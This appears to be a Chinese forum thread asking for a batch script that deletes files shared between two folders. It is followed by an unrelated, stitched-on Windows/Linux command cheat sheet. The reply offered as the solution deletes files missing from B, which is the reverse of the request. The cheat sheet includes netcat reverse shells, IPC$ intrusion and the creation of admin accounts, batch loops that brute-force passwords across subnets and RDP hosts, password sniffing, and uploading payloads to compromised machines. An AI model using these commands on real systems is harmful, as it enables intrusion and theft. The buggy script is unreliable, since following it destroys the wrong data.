求BAT语句,两个文件夹,要求删除一个文件夹与另一个文件夹下同名文件的文件。

ether030 2012-10-30 08:51:07
例如:A文件夹 a.txt,b.txt,c.txt

B文件夹 c.txt,d.txt

要求对A文件夹进行,删除A、B文件夹同时存在的文件的操作

求BAT语句?
...全文
345 4 打赏 收藏 转发到动态 举报
写回复
用AI写文章
4 条回复
切换为时间正序
请发表友善的回复…
发表回复
ether030 2012-10-31
  • 打赏
  • 举报
回复
这里改下就行


@Echo off
:: +-----------------------------------------------+ ::
:: | BAT-GO团员【wkdxz】 At:2010-07-23 11:25:03 | ::
:: +-----------------------------------------------+ ::
::BAT不能放置在目录A及其子文件夹里面

setlocal enabledelayedexpansion

::在这里设置A、B文件夹路径
::假设A为“D:\123 456”
::假设B为“E:\15641 dsfsd”
set "a=D:\123 456"
set "b=E:\15641 dsfsd"

::比对文件
for /f "delims=" %%a in ('dir /s/b/a-d "!a!\"') do (
set "wkd=%%a"
set "wkd=!wkd:%a%=!"
if exist "!b!\!wkd!" echo.删除%%a &del /a/f/q %%~sa
)

::比对目录
for /f "delims=" %%a in ('dir /s/b/ad "!a!\"') do (
set "wkd=%%a"
set "wkd=!wkd:%a%=!"
if exist "!b!\!wkd!" echo.删除%%a &rd /s/q %%~sa
)
set /p=处理完毕,<nul&pause


ether030 2012-10-31
  • 打赏
  • 举报
回复
自己找到答案了

@Echo off
:: +-----------------------------------------------+ ::
:: | BAT-GO团员【wkdxz】 At:2010-07-23 11:25:03 | ::
:: +-----------------------------------------------+ ::
::BAT不能放置在目录A及其子文件夹里面

setlocal enabledelayedexpansion

::在这里设置A、B文件夹路径
::假设A为“D:\123 456”
::假设B为“E:\15641 dsfsd”
set "a=D:\123 456"
set "b=E:\15641 dsfsd"

::比对文件
for /f "delims=" %%a in ('dir /s/b/a-d "!a!\"') do (
set "wkd=%%a"
set "wkd=!wkd:%a%=!"
if not exist "!b!\!wkd!" echo.删除%%a &del /a/f/q %%~sa
)

::比对目录
for /f "delims=" %%a in ('dir /s/b/ad "!a!\"') do (
set "wkd=%%a"
set "wkd=!wkd:%a%=!"
if not exist "!b!\!wkd!" echo.删除%%a &rd /s/q %%~sa
)
set /p=处理完毕,<nul&pause





  • 打赏
  • 举报
回复
不会编程,如果文件数量比较多的时候,用以下方法可以。

在cmd命令行下建立2个CSV文件

dir c:\a /b >>a.csv
dir c:\b /b >>b.csv

然后分别用EXCEL打开两个文件。然后用VLOOKUP函数找出两个共有的文件名。

后面两列分别写公式="del c:\a\" & 文件名单元格,="del c:\b\" & 文件名单元格。然后下拉。

分别将两列粘到2个文本文件中,扩展名为.bat。运行就删除了。

dsd999 2012-10-31
  • 打赏
  • 举报
回复
谢谢分享,楼主bat挺强的。
CMD命令:开始->运行->键入cmd或command(在命令行里可以看到系统版本、文件系统版本) 命令大全 1. gpedit.msc-----组策略 2. sndrec32-------录音机    3. Nslookup-------IP地址侦测器 ,是一个 监测网络中 DNS 服务器是否能正确实现域名解析的命令行工具。它在 Windows NT/2000/XP 中均可使用,但在 Windows 98 中却没有集成这一个工具。    4. explorer-------打开资源管理器    5. logoff---------注销命令    6. shutdown-------60秒倒计时关机命令    7. lusrmgr.msc----本机用户和组    8. services.msc---本地服务设置    9. oobe/msoobe /a----检查XP是否激活    10. notepad--------打开记事本    11. cleanmgr-------垃圾整理    12. net start messenger----开始信使服务    13. compmgmt.msc---计算机管理    14. net stop messenger-----停止信使服务    15. conf-----------启动netmeeting    16. dvdplay--------DVD播放器    17. charmap--------启动字符映射表    18. diskmgmt.msc---磁盘管理实用程序    19. calc-----------启动计算器    20. dfrg.msc-------磁盘碎片整理程序    21. chkdsk.exe-----Chkdsk磁盘检查    22. devmgmt.msc--- 设备管理器    23. regsvr32 /u *.dll----停止dll文件运行    24. drwtsn32------ 系统医生    25. rononce -p----15秒关机    26. dxdiag---------检查DirectX信息    27. regedt32-------注册表编辑器    28. Msconfig.exe---系统配置实用程序    29. rsop.msc-------组策略结果集    30. mem.exe--------显示内存使用情况    31. regedit.exe----注册表    32. winchat--------XP自带局域网聊天    33. progman--------程序管理器    34. winmsd---------系统信息    35. perfmon.msc----计算机性能监测程序    36. winver---------检查Windows版本    37. sfc /scannow-----扫描错误并复原    38. taskmgr-----任务管理器(2000/xp/2003)    39. regsvr32 /u *.dll----停止dll文件运行    40. wmimgmt.msc----打开windows管理体系结构(WMI)    41. wupdmgr--------windows更新程序    42. wscript--------windows脚本宿主设置    43. write----------写字板    45. wiaacmgr-------扫描仪和照相机向导    46. winchat--------XP自带局域网聊天    49. mplayer2-------简易widnows media player    50. mspaint--------画图板    51. mstsc----------远程桌面连接    53. magnify--------放大镜实用程序    54. mmc------------打开控制台    55. mobsync--------同步命令    57. iexpress-------木马捆绑工具,系统自带    58. fsmgmt.msc-----共享文件管理器    59. utilman--------辅助工具管理器    61. dcomcnfg-------打开系统组件服务    62. ddeshare-------打开DDE共享设置    63. osk------------打开屏幕键盘    64. odbcad32-------ODBC数据源管理器    65. oobe/msoobe /a----检查XP是否激活    66. cmd.exe--------CMD命令提示符    67. regsvr32 /u zipfldr.dll------取消ZIP支持    68. ntbackup-------系统备份和还原    69. narrator-------屏幕“讲述人”    70. ntmsmgr.msc----移动存储管理器    71. ntmsoprq.msc---移动存储管理员操作请    72. netstat -an----(TC)命令检查接口    73. syncapp--------创建一个公文包    74. sysedit--------系统配置编辑器    75. sigverif-------文件签名验证程序    76. ciadv.msc------索引服务程序    77. shrpubw--------创建共享文件    78. secpol.msc-----本地安全策略    79. syskey---------系统加密,一旦加密就不能解开,保护windows xp系统的双重密码    80. services.msc---本地服务设置    81. Sndvol32-------音量控制程序    82. sfc.exe--------系统文件检查器    83. sfc /scannow---windows文件保护    84. ciadv.msc------索引服务程序    85. tourstart------xp简介(安装完成后出现的漫游xp程序)    86. taskmgr--------任务管理器    87. eventvwr-------事件查看器    88. eudcedit-------造字程序    89. compmgmt.msc---计算机管理    90. packager-------对象包装程序    91. perfmon.msc----计算机性能监测程序    92. charmap--------启动字符映射表    93. cliconfg-------SQL SERVER 客户端网络实用程序    94. Clipbrd--------剪贴板查看器    95. conf-----------启动netmeeting    96. certmgr.msc----证书管理实用程序 操作详解 net use ipipc$ " " /user:" " 建立IPC空链接    net use ipipc$ "密码" /user:"用户名" 建立IPC非空链接    net use h: ipc$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H:    net use h: ipc$ 登陆后映射对方C:到本地为H:    net use ipipc$ /del 删除IPC链接    net use h: /del 删除映射对方到本地的为H:的映射    net user 用户名 密码 /add 建立用户    net user guest /active:yes 激活guest用户    net user 查看有哪些用户    net user 帐户名 查看帐户的属性    net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限    net start 查看开启了哪些服务    net start 服务名 开启服务;(如:net start telnet, net start schedule)    net stop 服务名 停止某服务    net time 目标ip 查看对方时间    net time 目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息    net view 查看本地局域网内开启了哪些共享    net view ip 查看对方局域网内开启了哪些共享    net config 显示系统网络设置    net logoff 断开连接的共享    net pause 服务名 暂停某服务    net send ip "文本信息" 向对方发信息    net ver 局域网内正在使用的网络连接类型和信息    net share 查看本地开启的共享    net share ipc$ 开启ipc$共享    net share ipc$ /del 删除ipc$共享    net share c$ /del 删除C:共享    net user guest 12345 用guest用户登陆后用将密码改为12345    net password 密码 更改系统登陆密码    netstat -a 查看开启了哪些端口,常用netstat -an    netstat -n 查看端口的网络连接情况,常用netstat -an    netstat -v 查看正在进行的工作    netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况    netstat -s 查看正在使用的所有协议使用情况    nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名   tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。   ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。    ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)   ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息    tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件内)    kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件内)    del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件   del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)    move 盘符路径要移动的文件名 存放移动文件的路径移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖    fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令    at id号 开启已注册的某个计划任务    at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止    at id号 /delete 停止某个已注册的计划任务   at 查看所有的计划任务    at ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机   finger username @host 查看最近有哪些用户登陆    telnet ip 端口 远和登陆服务器,默认端口为23    open ip 连接到IP(属telnet登陆后的命令)    telnet 在本机上直接键入telnet 将进入本机的telnet    copy 路径文件名1 路径文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件    copy c:srv.exe ipadmin$ 复制本地c:srv.exe到对方的admin下    copy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件    copy ipadmin$svv.exe c: 或:copyipadmin$*.* 复制对方admini$共享下的srv.exe文件(所有文件)至本地C:    xcopy 要复制的文件或目录树 目标地址目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件   用参数/e才可连目录下的子目录一起复制到目标地址下。    tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exec:server.exe 登陆后,将“IP”的server.exe下载到目标主机c:server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送    tftp -i 对方IP put c:server.exe 登陆后,上传本地c:server.exe至主机    ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)    route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface    arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息    start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令    mem 查看cpu使用情况    attrib 文件名(目录名) 查看某文件(目录)的属性    attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性    dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间    date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间    set 指定环境变量名称=要指派给变量的字符 设置环境变量    set 显示当前所有的环境变量    set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量    pause 暂停批处理程序,并显示出:请按任意键继续....    if 在批处理程序中执行条件处理(更多说明见if命令及变量)    goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签)    call 路径批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?)   for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)    echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置    echo 信息 在屏幕上显示出信息    echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中    findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello    find 文件名 查找某文件    title 标题名字 更改CMD窗口标题名字    color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白    prompt 名称 更改cmd.exe的显示的命令提示符(把C:、D:统一改为:EntSky )    ver 在DOS窗口下显示版本信息    winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)    format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS,例:Format D: /FS:NTFS    md 目录名 创建目录    replace 源文件 要替换文件的目录 替换文件    ren 原文件名 新文件名 重命名文件名    tree 以树形结构显示出目录,用参数-f 将列出第个文件文件名称    type 文件名 显示文本文件的内容    more 文件名 逐屏显示输出文件    doskey 要锁定的命令=字符    doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir=    taskmgr 调出任务管理器    chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误    tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口    exit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe   path 路径可执行文件文件名 为可执行文件设置一个路径。    cmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /?    regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示;    regedit /e 注册表文件名 导出注册表    cacls 文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名:perm 替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D: est.txt /D pub 设定d: est.txt拒绝pub用户访问。    cacls 文件名 查看文件的访问用户权限列表    REM 文本内容 在批处理文件中添加注解    netsh 查看或更改本地网络配置情况    IIS服务命令    iisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现)    iisreset /start或stop 启动(停止)所有Internet服务    iisreset /restart 停止然后重新启动所有Internet服务    iisreset /status 显示所有Internet服务状态    iisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动    iisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机   iisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务    iisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。    FTP 命令:(后面有详细说明内容)    ftp的命令行格式为:   ftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。    -d 使用调试方式。    -n 限制ftp的自动登录,即不使用.netrc文件。    -g 取消全局文件名。    help [命令] 或 ?[命令] 查看命令说明    bye 或 quit 终止主机FTP进程,并退出FTP管理方式.    pwd 列出当前远端主机目录    put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中    get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中    mget [remote-files] 从远端主机接收一批文件至本地主机    mput local-files 将本地主机中一批文件传送至远端主机    dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件    ascii 设定以ASCII方式传送文件(缺省值)    bin 或 image 设定以二进制方式传送文件    bell 每完成一次文件传送,报警提示    cdup 返回上一级目录    close 中断与远程服务器的ftp会话(与open对应)    open host[port] 建立指定ftp服务器连接,可指定连接端口    delete 删除远端主机中的文件    mdelete [remote-files] 删除一批文件    mkdir directory-name 在远端主机中建立目录    rename [from] [to] 改变远端主机中的文件名    rmdir directory-name 删除远端主机中的目录    status 显示当前FTP的状态    system 显示远端主机系统类型    user user-name [password] [account] 重新以别的用户名登录远端主机    open host [port] 重新建立一个新的连接    prompt 交互提示模式    macdef 定义宏命令    lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录   chmod 改变远端主机的文件权限    case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母   cd remote-dir 进入远程主机目录    cdup 进入远程主机目录的父目录   ! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip   #5    MYSQL 命令    mysql -h主机地址 -u用户名 -p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。   (例:mysql -h110.110.110.110 -Uroot -P123456   注:u与root可以不用加空格,其它也一样)    exit 退出MYSQL    mysqladmin -u用户名 -p旧密码 password 新密码 修改密码    grant select on 数据库.* to 用户名@登录主机 identified by "密码"; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符)   show databases; 显示数据库列表。刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。   use mysql;    show tables; 显示库中的数据表    describe 表名; 显示数据表的结构    create database 库名; 建库   use 库名;    create table 表名 (字段设定列表); 建表    drop database 库名;    drop table 表名; 删库和删表    delete from 表名; 将表中记录清空    select * from 表名; 显示表中的记录    mysqldump --opt school>school.bbb 备份数据库:(命令在DOS的mysqlin目录下执行);注释:将数据库school备份到school.bbb文件,school.bbb是一个文本文件文件名任取,打开看看你会有新发现。    win2003系统下新增命令(实用部份):    shutdown /参数 关闭或重启本地或远程主机。   参数说明:/S 关闭主机,/R 重启主机, /T 数字 设定延时的时间,范围0~180秒之间, /A取消开机,/M //IP 指定的远程主机。   例:shutdown /r /t 0 立即重启本地主机(无延时)   taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。   参数说明:/PID 要终止进程的pid,可用tasklist命令获得各进程的pid,/IM 要终止的进程的进程名,/F 强制终止进程,/T 终止指定的进程及他所启动的子进程。    tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。   参数说明:/M 列出当前进程加载的dll文件,/SVC 显示出每个进程对应的服务,无参数时就只列出当前的进程。    Linux系统下基本命令 注:要区分大小写    uname 显示版本信息(同win2K的 ver)    dir 显示当前目录文件,ls -al 显示包括隐藏文件(同win2K的 dir)   pwd 查询当前所在的目录位置   cd cd ..回到上一层目录,注意cd 与..之间有空格。 cd /返回到根目录。   cat 文件名 查看文件内容   cat >abc.txt 往abc.txt文件中写上内容。   more 文件名 以一页一页的方式显示一个文本文件。   cp 复制文件    mv 移动文件 rm 文件删除文件,rm -a 目录名删除目录及子目录    mkdir 目录名 建立目录    rmdir 删除子目录,目录内没有文档。    chmod 设定档案或目录的存取权限    grep 在档案中查找字符串    diff 档案文件比较    find 档案搜寻    date 现在的日期、时间    who 查询目前和你使用同一台机器的人以及Login时间地点    w 查询目前上机者的详细资料    whoami 查看自己的帐号名称    groups 查看某人的Group    passwd 更改密码    history 查看自己下过的命令    ps 显示进程状态    kill 停止某进程    gcc 黑客通常用它来编译C语言写的文件    su 权限转换为指定使用者    telnet IP telnet连接对方主机(同win2K),当出现bash$时就说明连接成功。    ftp ftp连接上某服务器(同win2K)    批处理命令与变量    1:for命令及变量 基本格式    FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数,如:%i ,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %I)。    批处理每次能处理的变量从%0—%9共10个,其中%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值,同理:%2—%9指输入的第2-9个值;例:net use ipipc$ pass /user:user 中ip为%1,pass为%2,user为%3    (set):指定一个或一组文件,可使用通配符,如:(D:user.txt)和(1 1 254)(1 -1 254),{ “(1 1 254)”第一个"1"指起始值,第二个"1"指增长量,第三个"254"指结束值,即:从1到254;“(1 -1 254)”说明:即从254到1 }    command:指定对第个文件执行的命令,如:net use命令;如要执行多个命令时,命令这间加:& 来隔开   command_parameters:为特定命令指定参数或命令行开关   IN (set):指在(set)中取值;DO command :指执行command 参数:/L 指用增量形式{ (set)为增量形式时 };/F 指从文件中不断取值,直到取完为止{ (set)为文件时,如(d:pass.txt)时 }。    用法举例:   @echo off   echo 用法格式:test.bat *.*.* > test.txt   for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \%1.%%G /user:administrator | find "命令成功完成" >>test.txt    存为test.bat 说明:对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接,如果成功就把该IP存在test.txt中。   /L指用增量形式(即从1-254或254-1);输入的IP前面三位:*.*.*为批处理默认的 %1;%%G 为变量(ip的最后一位);& 用来隔开echo 和net use 这二个命令;| 指建立了ipc$后,在结果中用find查看是否有"命令成功完成"信息;%1.%%G 为完整的IP地址;(1 1 254) 指起始值,增长量,结止值。   @echo off   echo 用法格式:ok.bat ip   FOR /F %%i IN (D:user.dic) DO smb.exe %1 %%i D:pass.dic 200   存为:ok.exe 说明:输入一个IP后,用字典文件d:pass.dic来暴解d:user.dic中的用户密码,直到文件中值取完为止。%%i为用户名;%1为输入的IP地址(默认)。    七:   2:if命令及变量 基本格式   IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码,指定条件为“真”。   例:IF errorlevel 0 命令 指程序执行后返回的值为0时,就值行后面的命令;IF not errorlevel 1 命令指程序执行最后返回的值不等于1,就执行后面的命令。   0 指发现并成功执行(真);1 指没有发现、没执行(假)。   IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配(即:字符串1 等于 字符串2),就执行后面的命令。   例:“if "%2%"=="4" goto start”指:如果输入的第二个变量为4时,执行后面的命令(注意:调用变量时就%变量名%并加" ")   IF [not] exist 文件名 命令语句 如果指定的文件名存在,就执行后面的命令。   例:“if not nc.exe goto end”指:如果没有发现nc.exe文件就跳到":end"标签处。   IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上:else 命令语句后指:当前面的条件不成立时,就指行else后面的命令。注意:else 必须与 if 在同一行才有效。当有del命令时需把del命令全部内容用括起来,因为del命令要单独一行时才能执行,用上后就等于是单独一行了;例如:“if exist test.txt. else echo test.txt.missing ”,注意命令中的“.”   系统外部命令   注:系统外部命令(均需下载相关工具)   瑞士军刀:nc.exe    参数说明:   -h 查看帮助信息   -d 后台模式   -e prog程序重定向,一但连接就执行[危险]   -i secs延时的间隔   -l 监听模式,用于入站连接   -L 监听模式,连接天闭后仍然继续监听,直到CTR+C   -n IP地址,不能用域名   -o film记录16进制的传输   -p[空格]端口 本地端口号   -r 随机本地及远程端口   -t 使用Telnet交互方式   -u UDP模式   -v 详细输出,用-vv将更详细   -w数字 timeout延时间隔   -z 将输入,输出关掉(用于扫锚时)   基本用法:   nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口   nc -l -p 80 开启本机的TCP 80端口并监听   nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口   nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口   nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口   高级用法:   nc -L -p 80 作为蜜罐用1:开启并不停地监听80端口,直到CTR+C为止   nc -L -p 80 > c:log.txt 作为蜜罐用2:开启并不停地监听80端口,直到CTR+C,同时把结果输出到c:log.txt   nc -L -p 80 < c:honeyport.txt 作为蜜罐用3-1:开启并不停地监听80端口,直到CTR+C,并把c:honeyport.txt中内容送入管道中,亦可起到传送文件作用   type.exe c:honeyport | nc -L -p 80 作为蜜罐用3-2:开启并不停地监听80端口,直到CTR+C,并把c:honeyport.txt中内容送入管道中,亦可起到传送文件作用   本机上用: nc -l -p 本机端口   在对方主机上用:nc -e cmd.exe 本机IP -p 本机端口 *win2K   nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙   本机上用:nc -d -l -p 本机端口 存放文件的路径及名称 传送文件到对方主机   备 注:   | 管道命令    重定向命令。“<;”,例如:tlntadmn > d:log.txt 意思是:后台执行dir,并把结果存在d:log.txt中   >与>>的区别 ">"指:覆盖;">>"指:保存到(添加到)。   如:@dir c:winnt >> d:log.txt和@dir c:winnt > d:log.txt二个命令分别执行二次比较看:用>>的则是把二次的结果都保存了,而用:>则只有一次的结果,是因为第二次的结果把第一次的覆盖了。   八:   扫描工具:xscan.exe   基本格式   xscan -host [-] [其他选项] 扫锚"起始IP到终止IP"段的所有主机信息   xscan -file [其他选项] 扫锚"主机IP列表文件名"中的所有主机信息   检测项目   -active 检测主机是否存活   -os 检测远程操作系统类型(通过NETBIOS和SNMP协议)   -port 检测常用服务的端口状态   -ftp 检测FTP弱口令   -pub 检测FTP服务匿名用户写权限   -pop3 检测POP3-Server弱口令   -smtp 检测SMTP-Server漏洞   -sql 检测SQL-Server弱口令   -smb 检测NT-Server弱口令   -iis 检测IIS编码/解码漏洞   -cgi 检测CGI漏洞   -nasl 加载Nessus攻击脚本   -all 检测以上所有项目   其它选项   -i 适配器编号 设置网络适配器,可通过"-l"参数获取   -l 显示所有网络适配器   -v 显示详细扫描进度   -p 跳过没有响应的主机   -o 跳过没有检测到开放端口的主机   -t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量,默认数量为100,10 -log 文件名 指定扫描报告文件名 (后缀为:TXT或HTML格式的文件)   用法示例   xscan -host 192.168.1.1-192.168.255.255 -all -active -p  检测192.168.1.1-192.168.255.255网段内主机的所有漏洞,跳过无响应的主机   xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 检测192.168.1.1-192.168.255.255网段内主机的标准端口状态,NT弱口令用户,最大并发线程数量为150,跳过没有检测到开放端口的主机   xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 检测“hostlist.txt”文件中列出的所有主机的标准端口状态,CGI漏洞,最大并发线程数量为200,同一时刻最多检测5台主机,显示详细检测进度,跳过没有检测到开放端口的主机   九:   命令行方式嗅探器: xsniff.exe   可捕获局域网内FTP/SMTP/POP3/HTTP协议密码   参数说明   -tcp 输出TCP数据报   -udp 输出UDP数据报   -icmp 输出ICMP数据报   -pass 过滤密码信息   -hide 后台运行   -host 解析主机名   -addr IP地址 过滤IP地址   -port 端口 过滤端口   -log 文件名 将输出保存到文件   -asc 以ASCII形式输出   -hex 以16进制形式输出   用法示例   xsniff.exe -pass -hide -log pass.log 后台运行嗅探密码并将密码信息保存在pass.log文件中   xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1并过滤tcp和udp信息并以ASCII格式输出   终端服务密码破解: tscrack.exe   参数说明   -h 显示使用帮助   -v 显示版本信息   -s 在屏幕上打出解密能力   -b 密码错误时发出的声音   -t 同是发出多个连接(多线程)   -N Prevent System Log entries on targeted server   -U 卸载移除tscrack组件   -f 使用-f后面的密码   -F 间隔时间(频率)   -l 使用-l后面的用户名   -w 使用-w后面的密码字典   -p 使用-p后面的密码   -D 登录主页面   用法示例   tscrack 192.168.0.1 -l administrator -w pass.dic 远程用密码字典文件暴破主机的administrator的登陆密码   tscrack 192.168.0.1 -l administrator -p 123456 用密码123456远程登陆192.168.0.1的administrator用户   @if not exist ipcscan.txt goto noscan   @for /f "tokens=1 delims= " %%i in (3389.txt) do call hack.bat %%i   Nscan   @echo 3389.txt no find or scan faild   (①存为3389.bat) (假设现有用SuperScan或其它扫锚器扫到一批开有3389的主机IP列表文件3389.txt)   3389.bat意思是:从3389.txt文件中取一个IP,接着运行hack.bat   @if not exist tscrack.exe goto noscan   @tscrack %1 -l administrator -w pass.dic >>rouji.txt   :noscan   @echo tscrack.exe no find or scan faild   (②存为hack.bat) (运行3389.bat就OK,且3389.bat、hack.bat、3389.txt、pass.dic与tscrack.exe在同一个目录下;就可以等待结果了)   hack.bat意思是:运行tscrack.exe用字典暴破3389.txt中所有主机的administrator密码,并将破解结果保存在rouji.txt文件中。   其它   Shutdown.exe   Shutdown IP地址 t:20 20秒后将对方NT自动关闭(Windows 2003系统自带工具,在Windows2000下用进就得下载此工具才能用。在前面Windows 2003 DOS命令中有详细介绍。)   fpipe.exe (TCP端口重定向工具) 在第二篇中有详细说明(端口重定向绕过防火墙)   fpipe -l 80 -s 1029 -r 80 当有人扫锚你的80端口时,他扫到的结果会完全是的主机信息   Fpipe -l 23 -s 88 -r 23 目标IP 把本机向目标IP发送的23端口Telnet请经端口重定向后,就通过88端口发送到目标IP的23端口。(与目标IP建立Telnet时本机就用的88端口与其相连接)然后:直接Telnet 127.0.0.1(本机IP)就连接到目标IP的23端口了。   OpenTelnet.exe (远程开启telnet工具)   opentelnet.exe IP 帐号 密码 ntlm认证方式 Telnet端口 (不需要上传ntlm.exe破坏微软的身份验证方式)直接远程开启对方的telnet服务后,就可用telnet ip 连接上对方。   NTLM认证方式:0:不使用NTLM身份验证;1:先尝试NTLM身份验证,如果失败,再使用用户名和密码;2:只使用NTLM身份验证。   ResumeTelnet.exe (OpenTelnet附带的另一个工具)   resumetelnet.exe IP 帐号 密码 用Telnet连接完对方后,就用这个命令将对方的Telnet设置还原,并同时关闭Telnet服务。   FTP命令详解   FTP命令是Internet用户使用最频繁的命令之一,熟悉并灵活应用FTP的内部命令,可以大大方便使用者,并收到事半功倍之效。如果你想学习使用进行后台FTP下载,那么就必须学习FTP指令。   FTP的命令行格式为:   ftp -v -d -i -n -g [主机名] ,其中   -v 显示远程服务器的所有响应信息   